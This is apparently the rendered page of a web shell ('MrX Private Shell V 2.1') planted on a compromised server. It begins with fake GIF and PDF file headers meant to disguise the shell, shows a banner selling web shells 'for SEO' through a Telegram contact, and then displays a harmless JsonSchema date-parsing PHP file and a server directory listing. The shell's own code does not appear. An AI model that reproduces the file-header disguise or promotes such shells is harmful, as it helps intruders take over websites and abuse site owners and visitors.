GIF89; GIF89; %PDF- %PDF-
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace JsonSchema;
class Rfc3339
{
const REGEX = '/^(\d{4}-\d{2}-\d{2}[T ]{1}\d{2}:\d{2}:\d{2})(\.\d+)?(Z|([+-]\d{2}):?(\d{2}))$/';
/**
* Try creating a DateTime instance
*
* @param string $string
*
* @return \DateTime|null
*/
public static function createFromString($string)
{
if (!preg_match(self::REGEX, strtoupper($string), $matches)) {
return null;
}
$dateAndTime = $matches[1];
$microseconds = $matches[2] ?: '.000000';
$timeZone = 'Z' !== $matches[3] ? $matches[4] . ':' . $matches[5] : '+00:00';
$dateFormat = strpos($dateAndTime, 'T') === false ? 'Y-m-d H:i:s.uP' : 'Y-m-d\TH:i:s.uP';
$dateTime = \DateTime::createFromFormat($dateFormat, $dateAndTime . $microseconds . $timeZone, new \DateTimeZone('UTC'));
return $dateTime ?: null;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Constraints | Folder | 0755 |
|
|
| Entity | Folder | 0755 |
|
|
| Exception | Folder | 0755 |
|
|
| Iterator | Folder | 0755 |
|
|
| Uri | Folder | 0755 |
|
|
| Rfc3339.php | File | 886 B | 0644 |
|
| SchemaStorage.php | File | 5.29 KB | 0644 |
|
| SchemaStorageInterface.php | File | 802 B | 0644 |
|
| UriResolverInterface.php | File | 530 B | 0644 |
|
| UriRetrieverInterface.php | File | 517 B | 0644 |
|
| Validator.php | File | 2.73 KB | 0644 |
|
| autoload.php | File | 4.58 KB | 0644 |
|